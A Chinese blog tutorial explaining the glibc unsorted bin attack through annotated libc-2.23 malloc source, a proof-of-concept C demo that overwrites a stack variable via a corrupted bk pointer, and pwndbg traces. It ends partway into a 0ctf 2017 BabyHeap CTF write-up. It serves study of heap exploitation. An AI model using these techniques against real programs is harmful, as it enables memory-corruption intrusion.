Ky不是枕木

分享学习经验

关于unsorted bin 和 unsorted bin attack

前言

unsorted bin attack作为一种久远的攻击方式常常作为其他攻击方式的辅助手段,比如修改global_max_fast为一个较大的值使得几乎所有大小的chunk都用fast bin的管理方式进行分配和释放,又或者修改_IO_list_all来伪造_IO_FILE进行攻击。在上述攻击的利用过程中我们实际上并不需要对unsorted bin的分配过程有太多的了解。

global_max_fast是main_arena中控制最大fastbin大小的变量。

unsotedbin 基本来源

1、当一个较大的(在bin中的)chunk(由于malloc)被分割成两半之后,如果剩下的部分大于MINSIZE,就会被放到unsortedbin中。

举个例子,如有个0x90大小的 small chunk,此时malloc(0x60),剩下的0x30由于大于 MINSIZE ,会被放入unsortedbin 中

2、释放一个不属于fastbin的chunk,并且该chunk不和top_chunk紧邻时,该chunk会首先被放到unsortedbin中。
3、当进行malloc_consolidate时,如果不是和top_chunk近邻的话,可能会把合并后的chunk放到unsortedbin中。

consolidate是一个动词,其中文意思为:使加强; 使巩固; (使) 结成一体,合并;
因此malloc_consolidate的意思是堆中的碎片整理,目的是为了减少堆中的碎片。

unsortedbin_attack 概述

● Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
● Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针

unsortedbin_attack 效果

Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值,然后配合fastbin attack使用,达到任意地址写的效果。

unsortedbin 源码分析

这里使用libc-2.23版本的源码
下面的源码不理解也没有关系(看看就好),这对利用unsortedbin这种攻击方式没有任何影响()。
最重要的是最后的总结,记住就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#源码的第3470-3597
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
#取链表尾部的chunk记作victim
{
bck = victim->bk;
#倒数第二个chunk记作bck
#接下来对victim的size位进行检查
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
#检查通过,计算victim得到实际chunk的大小
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
#假如说我们申请的malloc大小属于smallbin的范围,并且last_remainder是
#unsortedbin的唯一一个chunk时,优先使用这个chunk。

{
#假若满足条件则对其进行切割和解链操作

/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
#如果上述条件不满足,则将victim从链中取出之后放到合适的链中或返回给用户。
#其中unsorted_chunks (av)->bk = bck;
#bck->fd = unsorted_chunks (av);
#是unsorted bin attack产生的原因,
#一旦我们绕过之前的检查到达这里,
#在可以控制victim->bk即bck的情况下我们可以往bck->fd写入unsorted_chunks(av)
#即*(bck+0x10)=unsorted(av)。
/* remove from unsorted list */
#unsortedbin产生的原因:
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
#
/* Take now instead of binning if exact fit */
#如果我们请求的nb同victim的大小恰好吻合,就直接返回这个块给用户。
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */
#如果之前的条件都不满足,意味着目前的victim不能满足用户的需求,
#需要根据其size放入small bin或large bin的链,
#其中在后者实现中存在large bin attack,
#由于同本文无关就不再进一步展开,最后是unlink将victim彻底解链。
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

unsortedbin_attack 原理

从下面的源码中可以看到,当将一个unsortedbin取出时,会将bck->fd的位置写入本unsortedbin的位置

1
2
3
4
5
6
#glibc-2.23/malloc/malloc.c
#源码第3515-3517行
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
//unsorted_chunks(av)其实是&main_arena.top

换而言之,如果我们控制了bk的值,我们就能将unsorted_chunk(av)写到任意地址。

Demo

接下来我们使用一个demo来演示unsortedbin_attack的原理:

来源:https://www.yuque.com/hxfqg9/bin/tubv6q
感谢@yichen师傅的汉化
这个程序的目标是通过unsortedbin_attack将stack_var改成一个很大的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

int main(){

fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

大致看一下流程,然后开始进行调试。

编译命令:gcc -g demo.c -o demo

开始调试

首先对代码的第12行下断点,开始调试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
ubuntu@ubuntu:~/Desktop/unsortedbin_demo$ gdb demo
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from demo...done.
pwndbg> b 12
Breakpoint 1 at 0x400722: file demo.c, line 12.
pwndbg> r
Starting program: /home/ubuntu/Desktop/unsortedbin_demo/demo
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffdd78 的值 0 更改为一个很大的数


Breakpoint 1, main () at demo.c:12
12 unsigned long *p=malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
RAX 0x51
RBX 0x0
RCX 0x7ffff7b04380 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffb6e0 ◂— 0x87e5acbbe49188e6
R8 0x7ffff7fda700 ◂— 0x7ffff7fda700
R9 0x51
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde70 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd90 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdd70 —▸ 0x400870 (__libc_csu_init) ◂— push r15
RIP 0x400722 (main+124) ◂— mov edi, 0x410
─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
0x400722 <main+124> mov edi, 0x410
0x400727 <main+129> call malloc@plt <malloc@plt>

0x40072c <main+134> mov qword ptr [rbp - 0x10], rax
0x400730 <main+138> mov rax, qword ptr [rip + 0x200929] <0x601060>
0x400737 <main+145> mov rdx, qword ptr [rbp - 0x10]
0x40073b <main+149> mov esi, 0x400a18
0x400740 <main+154> mov rdi, rax
0x400743 <main+157> mov eax, 0
0x400748 <main+162> call fprintf@plt <fprintf@plt>

0x40074d <main+167> mov rax, qword ptr [rip + 0x20090c] <0x601060>
0x400754 <main+174> mov rcx, rax
──────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────
In file: /home/ubuntu/Desktop/unsortedbin_demo/demo.c
7 fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");
8
9 unsigned long stack_var=0;
10 fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);
11
12 unsigned long *p=malloc(0x410);
13 fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
14 fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
15 malloc(500);
16
17 free(p);
──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd70 —▸ 0x400870 (__libc_csu_init) ◂— push r15
01:00080x7fffffffdd78 ◂— 0x0
02:00100x7fffffffdd80 —▸ 0x7fffffffde70 ◂— 0x1
03:00180x7fffffffdd88 ◂— 0xbfb16d8983641800
04:0020│ rbp 0x7fffffffdd90 —▸ 0x400870 (__libc_csu_init) ◂— push r15
05:00280x7fffffffdd98 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:00300x7fffffffdda0 ◂— 0x1
07:00380x7fffffffdda8 —▸ 0x7fffffffde78 —▸ 0x7fffffffe20d ◂— '/home/ubuntu/Desktop/unsortedbin_demo/demo'
────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
► f 0 400722 main+124
f 1 7ffff7a2d840 __libc_start_main+240
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

看一下这时的本地变量情况:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> info local
stack_var = 0
p = 0x7fffffffde70
pwndbg> x/5gx &stack_var
0x7fffffffdd78: 0x0000000000000000 0x00007fffffffde70
0x7fffffffdd88: 0xbfb16d8983641800 0x0000000000400870
0x7fffffffdd98: 0x00007ffff7a2d840
pwndbg> x/5gx &p
0x7fffffffdd80: 0x00007fffffffde70 0xbfb16d8983641800
0x7fffffffdd90: 0x0000000000400870 0x00007ffff7a2d840
0x7fffffffdda0: 0x0000000000000001
pwndbg>

从上面的代码框可以看到,此时:
● stack_var的值为0,此变量的地址为0x7fffffffdd78
● p的值为0x7fffffffde70,此变量的地址为0x7fffffffdd80

执行unsigned long *p=malloc(0x410);

对代码的第13行下断点,让程序执行:unsigned long *p=malloc(0x410); 继续查看内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
Allocated chunk
Addr: 0x602000
Size: 0x00
pwndbg> top_chunk
Top chunk
Addr: 0x602420
Size: 0x00
pwndbg> info local
stack_var = 0
p = 0x602010
pwndbg> x/160gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421 #malloc_chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0x602420: 0x0000000000000000 0x0000000000020be1 #top_chunk
......(省略内容均为空)
0x6024f0: 0x0000000000000000 0x0000000000000000
pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602420 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
pwndbg>

执行malloc(500);

现在指针p指向malloc_data,紧接着对代码的第17行下断点让程序执行:malloc(500);,继续查看内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> heap
Allocated chunk
Addr: 0x602000
Size: 0x00

pwndbg> top_chunk
Top chunk
Addr: 0x602620
Size: 0x00
pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602620 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
pwndbg> x/300gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421 #malloc_chunk1
......(省略内容均为空)
0x602420: 0x0000000000000000 0x0000000000000201 #malloc_chunk1
......(省略内容均为空)
0x602620: 0x0000000000000000 0x00000000000209e1 #top_chunk
......(省略内容均为空)
0x602950: 0x0000000000000000 0x0000000000000000
pwndbg>

此处又malloc一个空间是为了避免malloc_chunk1与top_chunk相邻而导致的在free chunk1时不回收到unsortedbin。

释放一个不属于fastbin的chunk,并且该chunk不和top_chunk紧邻时,该chunk会首先被放到unsortedbin中。

执行free(p)

对代码的第18行下断点,程序将会执行:free(p); 继续运行程序,查看内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsortedbin
all [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421 #unsortedbin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
#fd #bk
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
......(省略内容均为空)
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602620
#指向top_chunk
#unsortedbin指向的地方
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000602000
#unsortedbin
0x7ffff7dd1b90 <main_arena+112>: 0x0000000000602000 0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8
0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8
0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8
0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8
pwndbg>

在之前的文章中我们说过,当unsortedbin只有一个free_chunk时,它的fd和bk指针都指向unsortedbin本身。

Snipaste_2023-09-13_20-40-59.png

执行p[1]=(unsigned long)(&stack_var-2);

对代码第21行下断点,继续:p[1]=(unsigned long)(&stack_var-2);

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000421
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdd68
#fd #bk被更改
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
pwndbg>

现在我们已经更改了unsortedbin中malloc_chunk1指针为0x00007fffffffdd68。刚好是刚才申请的 stack_var - 0x10 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
pwndbg> x/16gx 0x00007fffffffdd68
0x7fffffffdd68: 0x00000000004007a8 0x0000000000400870
#unsortedbin中bk指针所指向的地方
0x7fffffffdd78: 0x0000000000000000 0x0000000000602010
#想要被修改为超大值的地方
0x7fffffffdd88: 0xbfb16d8983641800 0x0000000000400870
0x7fffffffdd98: 0x00007ffff7a2d840 0x0000000000000001
0x7fffffffdda8: 0x00007fffffffde78 0x00000001f7ffcca0
0x7fffffffddb8: 0x00000000004006a6 0x0000000000000000
0x7fffffffddc8: 0x9c796560ff5ea285 0x00000000004005b0
0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000
pwndbg>

执行malloc(0x410)

执行malloc(0x410)时,会判断所申请的chunk处于smallbin所在的范围,但是此时smallbin中并没有空闲的chunk,所以会去unsortedbin找,发现unsortedbin不空,于是把unsortedbin中的最后一个chunk拿出来。
由于上面我们修改了bk指针所指向的地址,所以现在bk指针所指向的地址被加入到了unsortedbin中,也就是说,现在这个地址是unsortedbin中最后一个chunk,malloc之后将在这个地址中创建堆块。

unsortedbin在使用的过程中,采用的遍历顺序是FIFO(First In First out),即插入的时候插入到unsortedbin的头部,取出的时候从链尾获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
malloc之后结果如下:
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x7fffffffdd68 —▸ 0x400870 (__libc_csu_init) ◂— push rbp
pwndbg> x/30gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602620 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000602000 #malloc(0x410)
0x7ffff7dd1b90 <main_arena+112>: 0x00007fffffffdd68 0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8
0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8
0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8
0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8
pwndbg> x/16gx 0x7fffffffdd68
0x7fffffffdd68: 0x000000000040080a 0x0000000000400870
0x7fffffffdd78: 0x00007ffff7dd1b78 0x0000000000602010
#现在此地址被更改为较大的数(其值为main_arena+88的地址)
0x7fffffffdd88: 0xbfb16d8983641800 0x0000000000400870
0x7fffffffdd98: 0x00007ffff7a2d840 0x0000000000000001
0x7fffffffdda8: 0x00007fffffffde78 0x00000001f7ffcca0
0x7fffffffddb8: 0x00000000004006a6 0x0000000000000000
0x7fffffffddc8: 0x9c796560ff5ea285 0x00000000004005b0
0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000
pwndbg>

申请过程如下图所示:

Snipaste_2023-09-13_20-51-30.png

Snipaste_2023-09-13_20-52-24.png

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
#glibc-2.23/malloc/malloc.c
#源码第3515-3517
--------------------------------------------------------------------
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; //unsortedbin的bk改为chunk的bk
bck->fd = unsorted_chunks (av);//将chunk的bk所指向的fd改为unsortedbin的地址
//unsorted_chunks(av)其实是&main_arena.top
--------------------------------------------------------------------
解释:
unsorted_chunks (av)->bk(unsortedbin的bk)= bck(chunk的bk);
bck->fd (chunk的fd)= unsorted_chunks (av);

运行结果如下:

1
2
3
pwndbg> info local
stack_var = 140737351850872 //一个很大的数字 0x7ffff7dd1b78 实际上是 main_arena+88
p = 0x602010

反思

再来看一下unsortedbin的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
#显然,bck被修改,并不符合这里的要求
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */

可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fff7b5eecf8 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x24d0010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7f691338eb78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fff7b5eece8

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fff7b5eecf8: 0x7f691338eb78

这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。这看起来似乎并没有什么用处,但是其实还是有点用的,比如说
我们通过修改循环的次数来使得程序可以执行多次循环。
我们可以修改heap中的global_max_fast来使得更大的chunk可以被视为 fastbin,这样我们就可以去执行一些 fastbin attack 了。

总结

感觉全篇看最后一句话就够了(哈哈哈)

总结一下unsortedbin attack这种攻击方式:
首先我们将一个堆块释放到unsortedbin中,然后利用堆溢出修改unsortedbin中chunk的bk指针,这个bk指针是指向target_addr-0x10。当我们malloc申请unsortedbin中的堆块时,target_addr中的值就会变成main_arena+88地址的值

target_addr:目标地址(想要修改为超大数的地址)

fastbin_attack中的Arbitrary Alloc(例题)

具体例子原理网上很多,这里就不再赘述了,这里讲解一道fastbin_attack中的Arbitrary Alloc

题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化

附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
–来自百度网盘超级会员V3的分享


准备工作

将文件下载下来,首先检查一下文件的保护情况:

Snipaste_2023-09-13_15-31-15.png

可以看到保护全部开启(这还玩个毛线啊)
具体看一下各个保护:

Arch: amd64-64-little
这个说明程序是64位程序,小端序
RELRO: Full RELRO
Full RELRO开启,使整个 GOT 只读,从而无法被覆盖,进一步来说GOT表无法被修改
Stack: Canary found
对使用随机数每个函数进行保护,防止栈溢出
NX: NX enabled
不能向栈上直接注入shellcode
PIE: PIE enabled
地址随机化,我感觉这个保护是最恶心的
来看一下我的Linux环境:
Ubuntu版本:16.04

其中libc-2.23.so是我本机的libc文件

静态分析

整个程序相当于一个堆内存管理器,静态分析一下吧:

main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *addr; // [rsp+8h] [rbp-8h]

addr = get_addr();
while ( 1 )
{
menu(); //
// puts("1. Allocate");
// puts("2. Fill");
// puts("3. Free");
// puts("4. Dump");
// puts("5. Exit");
// printf("Command: ");
//
input();
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
Allocate((__int64)addr);
break;
case 2uLL:
Fill((__int64)addr);
break;
case 3uLL:
